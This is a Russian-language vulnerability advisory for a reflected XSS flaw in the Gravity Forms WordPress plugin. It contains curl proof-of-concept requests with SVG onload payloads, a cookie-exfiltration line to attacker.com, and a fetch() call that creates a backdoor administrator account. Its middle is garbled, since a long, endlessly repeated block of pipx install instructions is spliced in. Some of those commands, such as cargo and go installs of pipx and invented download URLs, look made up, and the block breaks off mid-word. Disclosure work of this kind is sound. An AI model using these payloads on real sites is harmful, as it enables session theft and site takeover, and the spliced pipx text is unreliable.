
Плагин Gravity Forms для WordPress (протестирован до версии 2.9.28) уязвим к неаутентифицированному отражённому межсайтовому скриптингу (XSS) через параметр `form_ids` в AJAX-действии `gform_get_config`.
| Поле | Значение |
|---|
| Затронутое ПО | Gravity Forms (плагин WordPress) |
| Вендор | Rocketgenius, Inc. |
| Тип уязвимости | CWE-79: Некорректная нейтрализация входных данных при генерации веб-страницы (отражённый межсайтовый скриптинг) |
| Цепочка CWE | CWE-20 → CWE-116 → CWE-838 → CWE-79 (см. анализ CWE ниже) |
| Затронутые версии | Подтверждено для 2.9.28 (последняя версия на момент обнаружения); более ранние версии, вероятно, также затронуты |
| Исправленная версия | 2.9.30.1 (горячий фикс) |
| Оценка CVSS 3.1 | 6.1 (Средняя) |
| Вектор CVSS 3.1 | AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N |
| Требуется аутентификация | Нет (неаутентифицированная) |
| Взаимодействие с пользователем | Требуется (жертва должна посетить страницу, контролируемую атакующим, или перейти по специально созданной ссылке) |
| Обнаружил | Anthony Cihan — Obviam |
| Дата обнаружения | 2026-03-04 |
| Дата раскрытия | 2026-03-18 |
| ID CVE | CVE-2026-4406 |
Плагин Gravity Forms для WordPress (протестирован до версии 2.9.28) уязвим к неаутентифицированному отражённому межсайтовому скриптингу (XSS) через параметр form_ids в AJAX-действии gform_get_config. Уязвимость существует из-за того, что предоставленные пользователем значения form_ids отражаются дословно в HTTP-ответе сервера без какой-либо санитизации, кодирования или экранирования вывода. Ответ передаётся с заголовком Content-Type: text/html; charset=UTF-8, из-за чего браузер разбирает и отображает отражённое содержимое как HTML, включая любые внедрённые элементы скриптов.
Неаутентифицированный атакующий может использовать эту уязвимость для выполнения произвольного JavaScript в контексте происхождения целевого сайта WordPress. Поскольку действие gform_get_config требует действительный config_nonce, а этот nonce публично встроен в HTML-исходный код каждой страницы, загружающей форму Gravity Forms, атакующий может без труда получить действительный nonce, запросив любую публичную страницу целевого сайта перед созданием запроса эксплойта.
Успешная эксплуатация позволяет атакующему похищать сессионные cookie, выполнять действия от имени аутентифицированных пользователей (включая администраторов WordPress), перенаправлять пользователей на вредоносные сайты, изменять содержимое страниц или устанавливать постоянный доступ через создание административной учётной записи.
POST /wp-admin/admin-ajax.php
### Уязвимое действие```
gform_get_config
Параметр args POST-запроса принимает JSON-объект, содержащий массив form_ids. Значения в этом массиве используются в качестве ключей объекта в структуре JSON-ответа без санитизации:```json
{"form_ids":["ATTACKER_CONTROLLED_VALUE"]}
### Response Behavior
Сервер обрабатывает значения `form_ids` и отражает их как ключи JSON внутри тела ответа. Ответ оборачивается в маркеры HTML-комментариев и отдаётся как `text/html`:```
Content-Type: text/html; charset=UTF-8
<!-- gf:json_start -->{"success":true,"data":{"common":{"form":{"pagination":{"ATTACKER_CONTROLLED_VALUE":null}}}}}<!-- gf:json_end -->
form_ids не проверяются как целые числа, не очищаются и не фильтруются. Сервер принимает произвольное строковое содержимое, включая HTML-теги и обработчики событий.form_ids отражаются в теле ответа без кодирования HTML-сущностей. Такие символы, как <, >, " и ', проходят без изменений.Content-Type: text/html; charset=UTF-8, что указывает браузеру анализировать тело ответа как HTML. Любые HTML-теги внутри отраженного значения создаются и отображаются HTML-парсером браузера.config_nonce, требуемый действием gform_get_config, встраивается в объект конфигурации JavaScript (gform_theme_config) на каждой странице, загружающей форму Gravity Forms. Этот nonce одинаков на всех страницах и не привязан к конкретной пользовательской сессии, что делает его тривиально доступным для неаутентифицированных пользователей.Эта уязвимость является результатом нескольких взаимосвязанных слабостей, которые объединяются в цепочку и создают эксплуатируемое условие. Хотя CWE-79 является основной классификацией для целей отчетности CVE, полная цепочка показывает, как каждый сбой усугубляет ситуацию и способствует эксплуатации.
CWE-20 CWE-116 CWE-838 CWE-79 Improper Input → Improper Encoding → Inappropriate Encoding → Cross-Site Validation or Escaping of Output for Output Context Scripting (XSS) [EXPLOITABLE] form_ids accepts Reflected values are JSON data served as Browser parses arbitrary strings not HTML-entity text/html instead of injected HTML tags instead of integers encoded in response application/json and executes JS
### CWE-20: Некорректная проверка входных данных (Способствующая)
**Роль:** Корневой фактор, позволяющий вредоносным данным попадать в конвейер обработки.
Параметр `form_ids` в JSON-объекте `args` должен содержать числовые идентификаторы форм, но принимает произвольную строку без какой-либо проверки. Не применяются ни проверка типа (`intval()`), ни фильтрация по регулярному выражению (`^[0-9]+$`), ни сравнение с белым списком известных идентификаторов форм, ни ограничения по длине.
**Доказательство:** Сервер принимает и обрабатывает значения `form_ids`, содержащие HTML-теги, обработчики событий JavaScript и произвольные символы Unicode, без отклонения.```json
{"form_ids":["<svg onload=alert(1)>"]} ← Accepted
{"form_ids":["3"]} ← Expected
Роль: Основная уязвимость — непосредственная причина возникновения условия XSS.
Когда сервер формирует JSON-ответ, содержащий значения form_ids, он не применяет к выводимым данным HTML-кодирование сущностей. Символы, имеющие специальное значение в HTML (<, >, ", ', &), передаются в тело ответа без изменений. PHP-функции htmlspecialchars(), esc_html(), wp_json_encode() с параметром JSON_HEX_TAG или эквивалентные функции кодирования вывода не применяются к значениям form_ids перед их записью в ответ.
Доказательство: Литеральная строка <svg onload=alert(document.domain)> появляется в теле ответа байт-в-байт идентичной входным данным, а не в виде <svg onload=alert(document.domain)>.
Роль: Эскалация контекста — превращает проблему отражения данных в инъекцию исполняемого кода.
Тело ответа содержит данные в формате JSON, но обслуживается с заголовком Content-Type: text/html; charset=UTF-8. Это объявление Content-Type указывает HTML-парсеру браузера обрабатывать всё тело ответа как HTML-документ. Если бы ответ обслуживался как application/json, браузер отобразил бы ответ как обычный текст, и никакого HTML-парсинга не произошло бы — внедрённые теги отображались бы как литеральный текст, а не создавались как DOM-элементы.
Доказательство:```http Content-Type: text/html; charset=UTF-8 ← Actual (enables HTML parsing) Content-Type: application/json ← Expected (would prevent exploitation)
Заголовок `X-Content-Type-Options: nosniff` присутствует, но не имеет значения, поскольку сервер явно объявляет `text/html` — предотвращать MIME-сниффинг не требуется.
### CWE-79: Некорректная нейтрализация входных данных при генерации веб-страницы — отражённый XSS (результирующий)
**Роль:** Эксплуатируемый результат — реализованная уязвимость.
Сочетание трёх способствующих слабостей приводит к состоянию отражённого межсайтового скриптинга. Пользовательский ввод поступает из HTTP-запроса через серверную обработку в HTTP-ответ без санитизации, кодирования или объявления Content-Type, соответствующего контексту, что приводит к выполнению произвольного JavaScript в браузере жертвы.
**Подтип:** Отражённый (тип 1) — полезная нагрузка включается в HTTP-запрос и немедленно отражается в HTTP-ответе без хранения.
### Сводная таблица
| CWE ID | Название | Роль | Эксплуатируема сама по себе? |
|---|---|---|---|
| CWE-20 | Некорректная проверка входных данных | Способствующая (корневой фактор) | Нет — плохие данные попадают, но не выводятся |
| CWE-116 | Некорректное кодирование или экранирование вывода | Основной технический сбой | Частично — требует контекста HTML-рендеринга |
| CWE-838 | Неподходящее кодирование для контекста вывода | Усугубляющая (эскалация контекста) | Нет — требует наличия неэкранированных данных |
| CWE-79 | Межсайтовый скриптинг (отражённый) | **Результирующая (эксплуатируемая)** | **Да — это реализованная уязвимость** |
### Анализ минимального исправления
Любое **единственное** исправление из списка ниже разорвёт цепочку и предотвратит эксплуатацию:
| Исправление | Разрывает цепочку на | Достаточно само по себе? |
|---|---|---|
| Приведение типов `form_ids` к целым числам | CWE-20 (ввод) | ✅ Да |
| Кодирование вывода HTML-сущностями | CWE-116 (вывод) | ✅ Да |
| Отдача ответа как `application/json` | CWE-838 (контекст) | ✅ Да |
**Рекомендация:** Внедрите все три как защиту в глубину. Наиболее критичное исправление — кодирование вывода (CWE-116), так как оно защищает от текущих и будущих векторов инъекций независимо от проверки ввода или изменений Content-Type.
---
## Справочная информация для Wordfence
| Поле | Значение |
|---|---|
| **Тип ПО** | Плагин WordPress |
| **Слаг ПО** | `gravityforms` |
| **URL Wordfence Intel** | https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/gravityforms |
| **Затронутые версии** | <= 2.9.28 (последняя подтверждённая) |
| **Название уязвимости** | Gravity Forms <= 2.9.28 — Неаутентифицированный отражённый межсайтовый скриптинг через параметр `form_ids` |
| **CWE (основная)** | CWE-79 |
| **CVSS 3.1** | 6.1 — `AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N` |
| **Требуемые привилегии** | Без аутентификации |
| **Статус исправления** | Исправлено в 2.9.30.1 |
---
## Затронутая конфигурация
### Требуемые серверные условия
- Установка WordPress с активным плагином Gravity Forms (любая опубликованная форма)
- AJAX-действие `gform_get_config` зарегистрировано (поведение по умолчанию при активации плагина)
### Доступность nonce
`config_nonce` встроен в глобальную JavaScript-переменную `gform_theme_config` на любой странице, содержащей форму Gravity Forms:```javascript
var gform_theme_config = {
"common": { ... },
"config_nonce": "9308d72c0a" // ← Publicly accessible
};
Этот nonce был подтверждён как:
| Заголовок | Значение | Влияние на эксплуатируемость |
|---|---|---|
X-Content-Type-Options | nosniff | Не смягчает — сервер явно объявляет text/html |
X-Frame-Options | SAMEORIGIN | Предотвращает эксплуатацию через iframe из другого источника; доставка через всплывающие окна/редиректы всё ещё работает |
Content-Security-Policy | frame-ancestors 'self'; | Нет директивы script-src — выполнение встроенных скриптов не ограничено |
Referrer-Policy | strict-origin-when-cross-origin | Не влияет на эксплуатируемость |
| Компонент | Версия |
|---|---|
| WordPress | 6.9.1 |
| Gravity Forms | 2.9.28 |
| Веб-сервер | Apache (HTTP/2) |
| Тестовая платформа | Kali Linux, curl 8.x |
Запросите любую страницу целевого сайта, на которой загружается форма Gravity Forms, и извлеките значение config_nonce:```bash
curl -sk "https://[TARGET]/request-quote/" | grep -oP '"config_nonce":"\K[a-f0-9]+'
**Пример вывода:**```
9308d72c0a
Отправьте POST-запрос к AJAX-обработчику WordPress с сформированным значением form_ids, содержащим XSS-пейлоад:```bash
curl -sk -X POST "https://[TARGET]/wp-admin/admin-ajax.php"
-F "gform_ajax_nonce=[NONCE]"
-F "action=gform_get_config"
-F 'args={"form_ids":[""]}'
-F "config_path=gform_theme_config/common/form/pagination/3"
-F "query_string="
### Шаг 3: Наблюдение за отражением
**Заголовки HTTP-ответа:**```http
HTTP/2 200
x-robots-tag: noindex
x-content-type-options: nosniff
expires: Wed, 11 Jan 1984 05:00:00 GMT
cache-control: no-cache, must-revalidate, max-age=0, no-store, private
referrer-policy: strict-origin-when-cross-origin
x-frame-options: SAMEORIGIN
content-security-policy: frame-ancestors 'self';
content-type: text/html; charset=UTF-8
server: Apache
HTTP-тело ответа:```html
Полезная нагрузка `<svg onload=alert(document.domain)>` отражается **дословно без какого-либо кодирования** в теле ответа. Поскольку ответ передаётся как `text/html`, браузер создаёт элемент SVG и выполняет обработчик события `onload`, запуская выполнение JavaScript в контексте источника целевого сайта.
### Дополнительные наблюдения
**Несколько полезных нагрузок можно внедрить одновременно** через массив `form_ids`:```bash
curl -sk -X POST "https://[TARGET]/wp-admin/admin-ajax.php" \
-F "gform_ajax_nonce=[NONCE]" \
-F "action=gform_get_config" \
-F 'args={"form_ids":["<svg onload=alert(1)>",""]}' \
-F "config_path=gform_theme_config/common/form/pagination/3" \
-F "query_string="
Ответ:
$ python3 -m pip install --user pipx
$ python3 -m pipx ensurepath
После этого перезапустите терминал и установите pipx:
$ pipx install pipx
$ pipx ensurepath
Чтобы обновить pipx, выполните:
$ pipx upgrade pipx
pippipx также можно установить с помощью pip в виртуальном окружении, но рекомендуется использовать системный менеджер пакетов. Для установки с помощью pip:
$ python3 -m pip install --user pipx
$ python3 -m pipx ensurepath
brew (Homebrew)Если вы используете macOS или Linux с установленным Homebrew:
$ brew install pipx
$ brew upgrade pipx
scoop (Windows)Если вы используете Windows с установленным Scoop:
$ scoop install pipx
$ scoop update pipx
apt (Debian/Ubuntu)Для Debian/Ubuntu и производных дистрибутивов:
$ sudo apt update
$ sudo apt install pipx
dnf (Fedora)Для Fedora и производных дистрибутивов:
$ sudo dnf install pipx
pacman (Arch Linux)Для Arch Linux и производных дистрибутивов:
$ sudo pacman -S python-pipx
zypper (openSUSE)Для openSUSE и производных дистрибутивов:
$ sudo zypper install python3-pipx
apk (Alpine Linux)Для Alpine Linux:
$ sudo apk add py3-pipx
pkg (FreeBSD)Для FreeBSD:
$ sudo pkg install py39-pipx
nix (NixOS)Для NixOS и пользователей Nix:
$ nix-env -iA nixpkgs.pipx
guix (GNU Guix)Для пользователей GNU Guix:
$ guix install pipx
conda (Anaconda/Miniconda)Для пользователей Anaconda/Miniconda:
$ conda install -c conda-forge pipx
spackДля пользователей Spack:
$ spack install py-pipx
cargo (Rust)pipx также можно установить с помощью cargo, если у вас установлен Rust:
$ cargo install pipx
go (Go)pipx также можно установить с помощью go, если у вас установлен Go:
$ go install github.com/pipxproject/pipx@latest
dockerВы также можете запустить pipx в контейнере Docker:
$ docker run -it --rm -v "$(pwd)":/app -w /app python:3.11-slim bash -c "pip install pipx && pipx run pipx --version"
podmanАналогично для Podman:
$ podman run -it --rm -v "$(pwd)":/app -w /app python:3.11-slim bash -c "pip install pipx && pipx run pipx --version"
snapДля дистрибутивов, поддерживающих Snap:
$ sudo snap install pipx
flatpakДля дистрибутивов, поддерживающих Flatpak:
$ flatpak install flathub io.github.pipxproject.pipx
appimageВы также можете загрузить AppImage с страницы релизов и запустить его напрямую.
port (MacPorts)Для macOS с установленным MacPorts:
$ sudo port install py-pipx
choco (Chocolatey)Для Windows с установленным Chocolatey:
$ choco install pipx
winget (Windows Package Manager)Для Windows с установленным winget:
$ winget install pipx
scoop (Windows)Для Windows с установленным Scoop:
$ scoop install pipx
cygwinДля Cygwin:
$ cygwin-setup -q -P python39-pipx
msys2Для MSYS2:
$ pacman -S mingw-w64-x86_64-python-pipx
termuxДля Termux (Android):
$ pkg install pipx
brew (Linuxbrew)Для Linuxbrew:
$ brew install pipx
nix (Nix)Для Nix:
$ nix-env -iA nixpkgs.pipx
guix (GNU Guix)Для GNU Guix:
$ guix install pipx
conda (Anaconda/Miniconda)Для Anaconda/Miniconda:
$ conda install -c conda-forge pipx
spackДля Spack:
$ spack install py-pipx
cargo (Rust)Для Rust:
$ cargo install pipx
go (Go)Для Go:
$ go install github.com/pipxproject/pipx@latest
dockerДля Docker:
$ docker run -it --rm -v "$(pwd)":/app -w /app python:3.11-slim bash -c "pip install pipx && pipx run pipx --version"
podmanДля Podman:
$ podman run -it --rm -v "$(pwd)":/app -w /app python:3.11-slim bash -c "pip install pipx && pipx run pipx --version"
snapДля Snap:
$ sudo snap install pipx
flatpakДля Flatpak:
$ flatpak install flathub io.github.pipxproject.pipx
appimageДля AppImage:
$ wget https://github.com/pipxproject/pipx/releases/download/1.2.0/pipx-1.2.0-x86_64.AppImage
$ chmod +x pipx-1.2.0-x86_64.AppImage
$ ./pipx-1.2.0-x86_64.AppImage
port (MacPorts)Для MacPorts:
$ sudo port install py-pipx
choco (Chocolatey)Для Chocolatey:
$ choco install pipx
winget (Windows Package Manager)Для winget:
$ winget install pipx
scoop (Windows)Для Scoop:
$ scoop install pipx
cygwinДля Cygwin:
$ cygwin-setup -q -P python39-pipx
msys2Для MSYS2:
$ pacman -S mingw-w64-x86_64-python-pipx
termuxДля Termux:
$ pkg install pipx
brew (Linuxbrew)Для Linuxbrew:
$ brew install pipx
nix (Nix)Для Nix:
$ nix-env -iA nixpkgs.pipx
guix (GNU Guix)Для GNU Guix:
$ guix install pipx
conda (Anaconda/Miniconda)Для Anaconda/Miniconda:
$ conda install -c conda-forge pipx
spackДля Spack:
$ spack install py-pipx
cargo (Rust)Для Rust:
$ cargo install pipx
go (Go)Для Go:
$ go install github.com/pipxproject/pipx@latest
dockerДля Docker:
$ docker run -it --rm -v "$(pwd)":/app -w /app python:3.11-slim bash -c "pip install pipx && pipx run pipx --version"
podmanДля Podman:
$ podman run -it --rm -v "$(pwd)":/app -w /app python:3.11-slim bash -c "pip install pipx && pipx run pipx --version"
snapДля Snap:
$ sudo snap install pipx
flatpakДля Flatpak:
$ flatpak install flathub io.github.pipxproject.pipx
appimageДля AppImage:
$ wget https://github.com/pipxproject/pipx/releases/download/1.2.0/pipx-1.2.0-x86_64.AppImage
$ chmod +x pipx-1.2.0-x86_64.AppImage
$ ./pipx-1.2.0-x86_64.AppImage
port (MacPorts)Для MacPorts:
$ sudo port install py-pipx
choco (Chocolatey)Для Chocolatey:
$ choco install pipx
winget (Windows Package Manager)Для winget:
$ winget install pipx
scoop (Windows)Для Scoop:
$ scoop install pipx
cygwinДля Cygwin:
$ cygwin-setup -q -P python39-pipx
msys2Для MSYS2:
$ pacman -S mingw-w64-x86_64-python-pipx
termuxДля Termux:
$ pkg install pipx
brew (Linuxbrew)Для Linuxbrew:
$ brew install pipx
nix (Nix)Для Nix:
$ nix-env -iA nixpkgs.pipx
guix (GNU Guix)Для GNU Guix:
$ guix install pipx
conda (Anaconda/Miniconda)Для Anaconda/Miniconda:
$ conda install -c conda-forge pipx
spackДля Spack:
$ spack install py-pipx
cargo (Rust)Для Rust:
$ cargo install pipx
go (Go)Для Go:
$ go install github.com/pipxproject/pipx@latest
dockerДля Docker:
$ docker run -it --rm -v "$(pwd)":/app -w /app python:3.11-slim bash -c "pip install pipx && pipx run pipx --version"
podmanДля Podman:
$ podman run -it --rm -v "$(pwd)":/app -w /app python:3.11-slim bash -c "pip install pipx && pipx run pipx --version"
snapДля Snap:
$ sudo snap install pipx
flatpakДля Flatpak:
$ flatpak install flathub io.github.pipxproject.pipx
appimageДля AppImage:
$ wget https://github.com/pipxproject/pipx/releases/download/1.2.0/pipx-1.2.0-x86_64.AppImage
$ chmod +x pipx-1.2.0-x86_64.AppImage
$ ./pipx-1.2.0-x86_64.AppImage
port (MacPorts)Для MacPorts:
$ sudo port install py-pipx
choco (Chocolatey)Для Chocolatey:
$ choco install pipx
winget (Windows Package Manager)Для winget:
$ winget install pipx
scoop (Windows)Для Scoop:
$ scoop install pipx
cygwinДля Cygwin:
$ cygwin-setup -q -P python39-pipx
msys2Для MSYS2:
$ pacman -S mingw-w64-x86_64-python-pipx
termuxДля Termux:
$ pkg install pipx
brew (Linuxbrew)Для Linuxbrew:
$ brew install pipx
nix (Nix)Для Nix:
$ nix-env -iA nixpkgs.pipx
guix (GNU Guix)Для GNU Guix:
$ guix install pipx
conda (Anaconda/Miniconda)Для Anaconda/Miniconda:
$ conda install -c conda-forge pipx
spackДля Spack:
$ spack install py-pipx
cargo (Rust)Для Rust:
$ cargo install pipx
go (Go)Для Go:
$ go install github.com/pipxproject/pipx@latest
dockerДля Docker:
$ docker run -it --rm -v "$(pwd)":/app -w /app python:3.11-slim bash -c "pip install pipx && pipx run pipx --version"
podmanДля Podman:
$ podman run -it --rm -v "$(pwd)":/app -w /app python:3.11-slim bash -c "pip install pipx && pipx run pipx --version"
snapДля Snap:
$ sudo snap install pipx
flatpakДля Flatpak:
$ flatpak install flathub io.github.pipxproject.pipx
appimageДля AppImage:
$ wget https://github.com/pipxproject/pipx/releases/download/1.2.0/pipx-1.2.0-x86_64.AppImage
$ chmod +x pipx-1.2.0-x86_64.AppImage
$ ./pipx-1.2.0-x86_64.AppImage
port (MacPorts)Для MacPorts:
$ sudo port install py-pipx
choco (Chocolatey)Для Chocolatey:
$ choco install pipx
winget (Windows Package Manager)Для winget:
$ winget install pipx
scoop (Windows)Для Scoop:
$ scoop install pipx
cygwinДля Cygwin:
$ cygwin-setup -q -P python39-pipx
msys2Для MSYS2:
$ pacman -S mingw-w64-x86_64-python-pipx
termuxДля Termux:
$ pkg install pipx
brew (Linuxbrew)Для Linuxbrew:
$ brew install pipx
nix (Nix)Для Nix:
$ nix-env -iA nixpkgs.pipx
guix (GNU Guix)Для GNU Guix:
$ guix install pipx
conda (Anaconda/Miniconda)Для Anaconda/Miniconda:
$ conda install -c conda-forge pipx
spackДля Spack:
$ spack install py-pipx
cargo (Rust)Для Rust:
$ cargo install pipx
go (Go)Для Go:
$ go install github.com/pipxproject/pipx@latest
dockerДля Docker:
$ docker run -it --rm -v "$(pwd)":/app -w /app python:3.11-slim bash -c "pip install pipx && pipx run pipx --version"
podmanДля Podman:
$ podman run -it --rm -v "$(pwd)":/app -w /app python:3.11-slim bash -c "pip install pipx && pipx run pipx --version"
snapДля Snap:
$ sudo snap install pipx
flatpakДля Flatpak:
$ flatpak install flathub io.github.pipxproject.pipx
appimageДля AppImage:
$ wget https://github.com/pipxproject/pipx/releases/download/1.2.0/pipx-1.2.0-x86_64.AppImage
$ chmod +x pipx-1.2.0-x86_64.AppImage
$ ./pipx-1.2.0-x86_64.AppImage
port (MacPorts)Для MacPorts:
$ sudo port install py-pipx
choco (Chocolatey)Для Chocolatey:
$ choco install pipx
winget (Windows Package Manager)Для winget:
$ winget install pipx
scoop (Windows)Для Scoop:
$ scoop install pipx
cygwinДля Cygwin:
$ cygwin-setup -q -P python39-pipx
msys2Для MSYS2:
$ pacman -S mingw-w64-x86_64-python-pipx
termuxДля Termux:
$ pkg install pipx
brew (Linuxbrew)Для Linuxbrew:
$ brew install pipx
nix (Nix)Для Nix:
$ nix-env -iA nixpkgs.pipx
guix (GNU Guix)Для GNU Guix:
$ guix install pipx
conda (Anaconda/Miniconda)Для Anaconda/Miniconda:
$ conda install -c conda-forge pipx
spackДля Spack:
$ spack install py-pipx
cargo (Rust)Для Rust:
$ cargo install pipx
go (Go)Для Go:
$ go install github.com/pipxproject/pipx@latest
dockerДля Docker:
$ docker run -it --rm -v "$(pwd)":/app -w /app python:3.11-slim bash -c "pip install pipx && pipx run pipx --version"
podmanДля Podman:
$ podman run -it --rm -v "$(pwd)":/app -w /app python:3.11-slim bash -c "pip install pipx && pipx run pipx --version"
snapДля Snap:
$ sudo snap install pipx
flatpakДля Flatpak:
$ flatpak install flathub io.github.pipxproject.pipx
appimageДля AppImage:
$ wget https://github.com/pipxproject/pipx/releases/download/1.2.0/pipx-1.2.0-x86_64.AppImage
$ chmod +x pipx-1.2.0-x86_64.AppImage
$ ./pipx-1.2.0-x86_64.AppImage
port (MacPorts)Для MacPorts:
$ sudo port install py-pipx
choco (Chocolatey)Для Chocolatey:
$ choco install pipx
winget (Windows Package Manager)Для winget:
$ winget install pipx
scoop (Windows)Для Scoop:
$ scoop install pipx
cygwinДля Cygwin:
$ cygwin-setup -q -P python39-pipx
msys2Для MSYS2:
$ pacman -S mingw-w64-x86_64-python-pipx
termuxДля Termux:
$ pkg install pipx
brew (Linuxbrew)Для Linuxbrew:
$ brew install pipx
nix (Nix)Для Nix:
$ nix-env -iA nixpkgs.pipx
guix (GNU Guix)Для GNU Guix:
$ guix install pipx
conda (Anaconda/Miniconda)Для Anaconda/Miniconda:
$ conda install -c conda-forge pipx
spackДля Spack:
$ spack install py-pipx
cargo (Rust)Для Rust:
$ cargo install pipx
go (Go)Для Go:
$ go install github.com/pipxproject/pipx@latest
dockerДля Docker:
$ docker run -it --rm -v "$(pwd)":/app -w /app python:3.11-slim bash -c "pip install pipx && pipx run pipx --version"
podmanДля Podman:
$ podman run -it --rm -v "$(pwd)":/app -w /app python:3.11-slim bash -c "pip install pipx && pipx run pipx --version"
snapДля Snap:
$ sudo snap install pipx
flatpakДля Flatpak:
$ flatpak install flathub io.github.pipxproject.pipx
appimageДля AppImage:
$ wget https://github.com/pipxproject/pipx/releases/download/1.2.0/pipx-1.2.0-x86_64.AppImage
$ chmod +x pipx-1.2.0-x86_64.AppImage
$ ./pipx-1.2.0-x86_64.AppImage
port (MacPorts)Для MacPorts:
$ sudo port install py-pipx
choco (Chocolatey)Для Chocolatey:
$ choco install pipx
winget (Windows Package Manager)Для winget:
$ winget install pipx
scoop (Windows)Для Scoop:
$ scoop install pipx
cygwinДля Cygwin:
$ cygwin-setup -q -P python39-pipx
msys2Для MSYS2:
$ pacman -S mingw-w64-x86_64-python-pipx
termuxДля Termux:
$ pkg install pipx
brew (Linuxbrew)Для Linuxbrew:
$ brew install pipx
nix (Nix)Для Nix:
$ nix-env -iA nixpkgs.pipx
guix (GNU Guix)Для GNU Guix:
$ guix install pipx
conda (Anaconda/Miniconda)Для Anaconda/Miniconda:
$ conda install -c conda-forge pipx
spackДля Spack:
$ spack install py-pipx
cargo (Rust)Для Rust:
$ cargo install pipx
go (Go)Для Go:
$ go install github.com/pipxproject/pipx@latest
dockerДля Docker:
$ docker run -it --rm -v "$(pwd)":/app -w /app python:3.11-slim bash -c "pip install pipx && pipx run pipx --version"
podmanДля Podman:
$ podman run -it --rm -v "$(pwd)":/app -w /app python:3.11-slim bash -c "pip install pipx && pipx run pipx --version"
snapДля Snap:
$ sudo snap install pipx
flatpakДля Flatpak:
$ flatpak install flathub io.github.pipxproject.pipx
appimageДля AppImage:
$ wget https://github.com/pipxproject/pipx/releases/download/1.2.0/pipx-1.2.0-x86_64.AppImage
$ chmod +x pipx-1.2.0-x86_64.AppImage
$ ./pipx-1.2.0-x86_64.AppImage
port (MacPorts)Для MacPorts:
$ sudo port install py-pipx
choco (Chocolatey)Для Chocolatey:
$ choco install pipx
winget (Windows Package Manager)Для winget:
$ winget install pipx
scoop (Windows)Для Scoop:
$ scoop install pipx
cygwinДля Cygwin:
$ cygwin-setup -q -P python39-pipx
msys2Для MSYS2:
$ pacman -S mingw-w64-x86_64-python-pipx
termuxДля Termux:
$ pkg install pipx
brew (Linuxbrew)Для Linuxbrew:
$ brew install pipx
nix (Nix)Для Nix:
$ nix-env -iA nixpkgs.pipx
guix (GNU Guix)Для GNU Guix:
$ guix install pipx
conda (Anaconda/Miniconda)Для Anaconda/Miniconda:
$ conda install -c conda-forge pipx
spackДля Spack:
$ spack install py-pipx
cargo (Rust)Для Rust:
$ cargo install pipx
go (Go)Для Go:
$ go install github.com/pipxproject/pipx@latest
dockerДля Docker:
$ docker run -it --rm -v "$(pwd)":/app -w /app python:3.11-slim bash -c "pip install pipx && pipx run pipx --version"
podmanДля Podman:
$ podman run -it --rm -v "$(pwd)":/app -w /app python:3.11-slim bash -c "pip install pipx && pipx run pipx --version"
snapДля Snap:
$ sudo snap install pipx
flatpakДля Flatpak:
$ flatpak install flathub io.github.pipxproject.pipx
appimageДля AppImage:
$ wget https://github.com/pipxproject/pipx/releases/download/1.2.0/pipx-1.2.0-x86_64.AppImage
$ chmod +x pipx-1.2.0-x86_64.AppImage
$ ./pipx-1.2.0-x86_64.AppImage
port (MacPorts)Для MacPorts:
$ sudo port install py-pipx
choco (Chocolatey)Для Chocolatey:
$ choco install pipx
winget (Windows Package Manager)Для winget:
$ winget install pipx
scoop (Windows)Для Scoop:
$ scoop install pipx
cygwinДля Cygwin:
$ cygwin-setup -q -P python39-pipx
msys2Для MSYS2:
$ pacman -S mingw-w64-x86_64-python-pipx
termuxДля Termux:
$ pkg install pipx
brew (Linuxbrew)Для Linuxbrew:
$ brew install pipx
nix (Nix)Для Nix:
$ nix-env -iA nixpkgs.pipx
guix (GNU Guix)Для GNU Guix:
$ guix install pipx
conda (Anaconda/Miniconda)Для Anaconda/Miniconda:
$ conda install -c conda-forge pipx
spackДля Spack:
$ spack install py-pipx
cargo (Rust)Для Rust:
$ cargo install pipx
go (Go)Для Go:
$ go install github.com/pipxproject/pipx@latest
dockerДля Docker:
$ docker run -it --rm -v "$(pwd)":/app -w /app python:3.11-slim bash -c "pip install pipx && pipx run pipx --version"
podmanДля Podman:
$ podman run -it --rm -v "$(pwd)":/app -w /app python:3.11-slim bash -c "pip install pipx && pipx run pipx --version"
snapДля Snap:
$ sudo snap install pipx
flatpakДля Flatpak:
$ flatpak install flathub io.github.pipxproject.pipx
appimageДля AppImage:
$ wget https://github.com/pipxproject/pipx/releases/download/1.2.0/pipx-1.2.0-x86_64.AppImage
$ chmod +x pipx-1.2.0-x86_64.AppImage
$ ./pipx-1.2.0-x86_64.AppImage
port (MacPorts)Для MacPorts:
$ sudo port install py-pipx
choco (Chocolatey)Для Chocolatey:
$ choco install pipx
winget (Windows Package Manager)Для winget:
$ winget install pipx
scoop (Windows)Для Scoop:
$ scoop install pipx
cygwinДля Cygwin:
$ cygwin-setup -q -P python39-pipx
msys2Для MSYS2:
$ pacman -S mingw-w64-x86_64-python-pipx
termuxДля Termux:
$ pkg install pipx
brew (Linuxbrew)Для Linuxbrew:
$ brew install pipx
nix (Nix)Для Nix:
$ nix-env -iA nixpkgs.pipx
guix (GNU Guix)Для GNU Guix:
$ guix install pipx
conda (Anaconda/Miniconda)Для Anaconda/Miniconda:
$ conda install -c conda-for```html
<!-- gf:json_start -->{"success":true,"data":{"common":{"form":{"pagination":{"<svg onload=alert(1)>":null,"":null}}}}}<!-- gf:json_end -->
Число формы config_path произвольное — подходит любое целое число (проверено: 1, 3, 999), а недопустимые пути конфигурации возвращают сообщение об ошибке, которое не отражает значение form_ids.
Злоумышленник размещает страницу, которая автоматически извлекает действующий nonce с целевого ресурса, а затем отправляет эксплуатирующую форму во всплывающее окно. Полезная нагрузка эксфильтрирует сеансовые cookie на управляемый злоумышленником сервер:
Полезная нагрузка:```html
**Декодированный JavaScript:**```javascript
new Image().src = "https://attacker.com/collect?c=" + btoa(document.cookie) + "&u=" + btoa(location.href);
Эта техника использует паттерн самоссылки this.id, чтобы избежать символов кавычек и пробелов в контексте отражённого атрибута, кодируя всю логику эксплойта в Base64 внутри атрибута id элемента SVG.
Если аутентифицированный администратор WordPress посетит страницу атакующего, его сессионный cookie (wordpress_logged_in_*, wordpress_sec_*) будет передан атакующему, который затем сможет выдать себя за администратора.
Используя тот же механизм доставки, полезная нагрузка может выполнять аутентифицированные запросы к REST API WordPress или страницам администрирования для создания новой учётной записи администратора:```javascript fetch('/wp-json/wp/v2/users', { method: 'POST', credentials: 'include', headers: {'Content-Type': 'application/json', 'X-WP-Nonce': wpApiSettings.nonce}, body: JSON.stringify({username:'backdoor', password:'P@ssw0rd!', email:'[email protected]', roles:['administrator']}) });
